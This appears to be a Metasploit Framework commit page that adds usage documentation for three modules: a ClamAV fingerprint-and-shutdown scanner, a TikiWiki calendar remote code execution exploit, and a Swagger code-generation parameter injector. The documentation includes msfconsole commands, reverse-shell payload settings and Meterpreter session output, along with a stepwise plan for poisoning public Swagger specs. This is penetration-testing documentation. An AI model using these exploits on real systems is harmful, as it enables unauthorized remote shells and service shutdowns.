Skip to content

Commit 97f9ca4

Browse files
David MaloneyDavid Maloney
David Maloney
authored and
David Maloney
committed
Merge branch 'master' into egypt/ruby-ntlm
2 parents 0126ec6 + ac5d270 commit 97f9ca4

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

55 files changed

+1049
-6321
lines changed

‎Gemfile.lock

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.12.8)
4+
metasploit-framework (4.12.9)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -28,9 +28,14 @@ PATH
2828
rb-readline-r7
2929
recog
3030
redcarpet
31+
rex-powershell
32+
rex-random_identifier
33+
rex-registry
34+
rex-text
35+
rex-zip
3136
robots
32-
rubyzip
3337
rubyntlm
38+
rubyzip
3439
sqlite3
3540
tzinfo
3641
tzinfo-data
@@ -205,6 +210,15 @@ GEM
205210
recog (2.0.21)
206211
nokogiri
207212
redcarpet (3.3.4)
213+
rex-powershell (0.1.0)
214+
rex-random_identifier
215+
rex-text
216+
rex-random_identifier (0.1.0)
217+
rex-text
218+
rex-registry (0.1.0)
219+
rex-text (0.1.1)
220+
rex-zip (0.1.0)
221+
rex-text
208222
rkelly-remix (0.0.6)
209223
robots (0.10.1)
210224
rspec-core (3.4.4)
@@ -243,7 +257,7 @@ GEM
243257
timecop (0.8.1)
244258
tzinfo (1.2.2)
245259
thread_safe (~> 0.1)
246-
tzinfo-data (1.2016.4)
260+
tzinfo-data (1.2016.5)
247261
tzinfo (>= 1.0.0)
248262
xpath (2.0.0)
249263
nokogiri (~> 1.3)

‎documentation/modules/auxiliary/scanner/misc/clamav_control.md

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
2+
malicious threats.
3+
4+
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
5+
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
6+
able to shut down the service.
7+
8+
## Vulnerable Application
9+
10+
To install ClamAV from Ubuntu:
11+
12+
```
13+
$ sudo apt-get install clamav clamav-daemon
14+
$ sudo freshclam
15+
```
16+
17+
You might also need to add the following to /etc/clamav/clamd.conf:
18+
19+
```
20+
# TCP port address.
21+
# Default: no
22+
TCPSocket 3310
23+
24+
# TCP address.
25+
# By default we bind to INADDR_ANY, probably not wise.
26+
# Enable the following to provide some degree of protection
27+
# from the outside world.
28+
# Default: no
29+
TCPAddr 0.0.0.0
30+
31+
# Maximum length the queue of pending connections may grow to.
32+
# Default: 15
33+
MaxConnectionQueueLength 30
34+
35+
# Clamd uses FTP-like protocol to receive data from remote clients.
36+
# If you are using clamav-milter to balance load between remote clamd daemons
37+
# on firewall servers you may need to tune the options below.
38+
39+
# Close the connection when the data size limit is exceeded.
40+
# The value should match your MTA's limit for a maximum attachment size.
41+
# Default: 10M
42+
StreamMaxLength 55M
43+
44+
# Limit port range.
45+
# Default: 1024
46+
#StreamMinPort 30000
47+
# Default: 2048
48+
#StreamMaxPort 32000
49+
50+
# Maximum number of threads running at the same time.
51+
# Default: 10
52+
MaxThreads 50
53+
54+
# Waiting for data from a client socket will timeout after this time (seconds).
55+
# Value of 0 disables the timeout.
56+
# Default: 120
57+
ReadTimeout 300
58+
59+
# Waiting for a new job will timeout after this time (seconds).
60+
# Default: 30
61+
#IdleTimeout 60
62+
63+
# Maximum depth directories are scanned at.
64+
# Default: 15
65+
#MaxDirectoryRecursion 20
66+
```
67+
68+
And finally, start the service:
69+
70+
```
71+
$ sudo /etc/init.d/clamav-daemon start
72+
```
73+
74+
## Options
75+
76+
clamav_control comes with two actions:
77+
78+
**VERSION**
79+
80+
This is the default action, and shows you the ClamAV version. Output example:
81+
82+
```
83+
msf auxiliary(clamav_control) > run
84+
85+
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
86+
```
87+
88+
**SHUTDOWN**
89+
90+
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
91+
whether is service is down or not.

‎documentation/modules/exploit/linux/http/tiki_calendar_exec.md

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
## Vulnerable Application
2+
3+
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
4+
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
5+
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
6+
7+
**Of note, there is some discussion if 14.2 is vuln or not.**
8+
9+
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
10+
2. The linked app Exploit-DB has is 14.2.
11+
3. Its verified on Exploit-DB.
12+
13+
vs
14+
15+
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
16+
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
17+
18+
### Creating A Testing Environment
19+
20+
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
21+
2. `apt-get install php-xml`
22+
3. Normal php install at that point!
23+
4. After install, login as admin:admin
24+
5. Go to the Control Panels
25+
6. Click Features
26+
7. Enable Calendar under Main feature
27+
8. Click Apply
28+
29+
#### Permissions
30+
31+
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
32+
33+
1. Log in as admin
34+
2. From the top dropdown select permissions
35+
3. Check Anonymous near the top
36+
4. Click Assign
37+
38+
## Verification Steps
39+
40+
1. Install the software as documented above
41+
2. Start msfconsole
42+
3. Do: `use exploit/linux/http/tiki_calendar_exec`
43+
4. Do: `set rhost 10.10.10.10`
44+
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
45+
6. Do: `set payload php/bind_perl`
46+
7. Do: `set verbose true`
47+
8. Do: `check`
48+
49+
```
50+
[*] Attempting Login
51+
[+] Login Successful!
52+
[+] 10.10.10.10:80 The target is vulnerable.
53+
```
54+
55+
9. Do: `exploit`
56+
10. You should get a shell
57+
58+
```
59+
[*] Started reverse TCP handler on 10.10.10.10:4444
60+
[*] Attempting Login
61+
[+] Login Successful!
62+
[*] Sending malicious calendar view packet
63+
[*] Sending stage (33721 bytes) 10.10.10.10.190
64+
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
65+
```
66+
67+
## Options
68+
69+
**PASSWORD**
70+
71+
Password is set at first login. Default for admin is 'admin'.
72+
73+
## Scenarios
74+
75+
Example running against unauthenticated calendar v14.1
76+
77+
```
78+
msf > use exploit/linux/http/tiki_calendar_exec
79+
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
80+
rhost => 192.168.2.190
81+
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
82+
targeturi => /t14_1/
83+
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
84+
payload => php/meterpreter/reverse_tcp
85+
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
86+
lhost => 192.168.2.229
87+
msf exploit(tiki_calendar_exec) > set verbose true
88+
verbose => true
89+
msf exploit(tiki_calendar_exec) > set username ''
90+
username =>
91+
msf exploit(tiki_calendar_exec) > exploit
92+
93+
[*] Started reverse TCP handler on 192.168.2.229:4444
94+
[*] Sending malicious calendar view packet
95+
[*] Sending stage (33721 bytes) to 192.168.2.190
96+
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
97+
98+
meterpreter > sysinfo
99+
Computer : tikiwiki
100+
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
101+
Meterpreter : php/php
102+
meterpreter >
103+
```

‎documentation/modules/exploit/multi/fileformat/swagger_param_inject.md

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
2+
3+
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
4+
5+
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
6+
7+
8+
## Verification Steps
9+
10+
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
11+
12+
1. Start msfconsole
13+
2. Start a callback handler listening for a the appropriate payload (e.g.)
14+
15+
```
16+
use exploit/multi/handler
17+
set PAYLOAD nodejs/shell_reverse_tcp
18+
19+
set LHOST 192.168.68.138
20+
set LPORT 4444
21+
22+
run
23+
```
24+
3. Pick a target
25+
26+
## Targets
27+
28+
**NodeJS**
29+
30+
This attack injects a payload into javascript by terminating a URL path string.
31+
32+
33+
```
34+
35+
use exploit/multi/fileformat/swagger_param_inject
36+
set PAYLOAD nodejs/shell_reverse_tcp
37+
set INFO_VERSION "1.0.0"
38+
set SWAGGER_HOST "localhost"
39+
run
40+
```
41+
42+
**PHP**
43+
44+
This attack injects a payload into PHP multiline comment area.
45+
46+
47+
```
48+
49+
use exploit/multi/fileformat/swagger_param_inject
50+
set PAYLOAD php/meterpreter/reverse_tcp
51+
set SWAGGER_HOST "localhost"
52+
run
53+
```
54+
55+
**ruby**
56+
57+
This attack injects a payload into ruby multiline comment area.
58+
59+
60+
```
61+
62+
use exploit/multi/fileformat/swagger_param_inject
63+
set PAYLOAD ruby/shell_reverse_tcp
64+
set SWAGGER_HOST "localhost"
65+
run
66+
```
67+
68+
**Java**
69+
70+
This attack injects a payload into Java by terminating a URL path string.
71+
72+
73+
```
74+
75+
use exploit/multi/fileformat/swagger_param_inject
76+
set PAYLOAD java/jsp_shell_reverse_tcp
77+
set SWAGGER_HOST "localhost"
78+
run
79+
```
80+
81+
## Quick Test
82+
83+
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
84+
85+
86+
## Scenarios
87+
88+
Effective against services with either these dependencies
89+
90+
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
91+
* public API [generator.swagger.io](http://generator.swagger.io/)
92+
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
93+
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
94+
95+
**Possible Attack approach.**
96+
97+
1. Research the target environment and component dependencies.
98+
2. Setup appropriate payload callback listener.
99+
3. generate the appropriate swagger document with associated MS payload (see above for examples)
100+
101+
102+
**Against a webservice (2nd order attack / blind code-gen)**
103+
104+
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
105+
106+
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
107+
5. Wait for callback handler event.
108+
109+
**Against a code repository or public hosting of spec**
110+
111+
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
112+
113+
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
114+
5. Wait for callback handler event.
115+

‎lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.12.8"
33+
VERSION = "4.12.9"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

‎lib/msf/base/simple/buffer.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def self.transform(buf, fmt = "ruby", var_name = 'buf')
4848
when 'java'
4949
buf = Rex::Text.to_java(buf, var_name)
5050
when 'powershell', 'ps1'
51-
buf = Rex::Text.to_powershell(buf, var_name)
51+
buf = Rex::Powershell.to_powershell(buf, var_name)
5252
when 'vbscript'
5353
buf = Rex::Text.to_vbscript(buf, var_name)
5454
when 'vbapplication'

0 commit comments

Comments
 (0)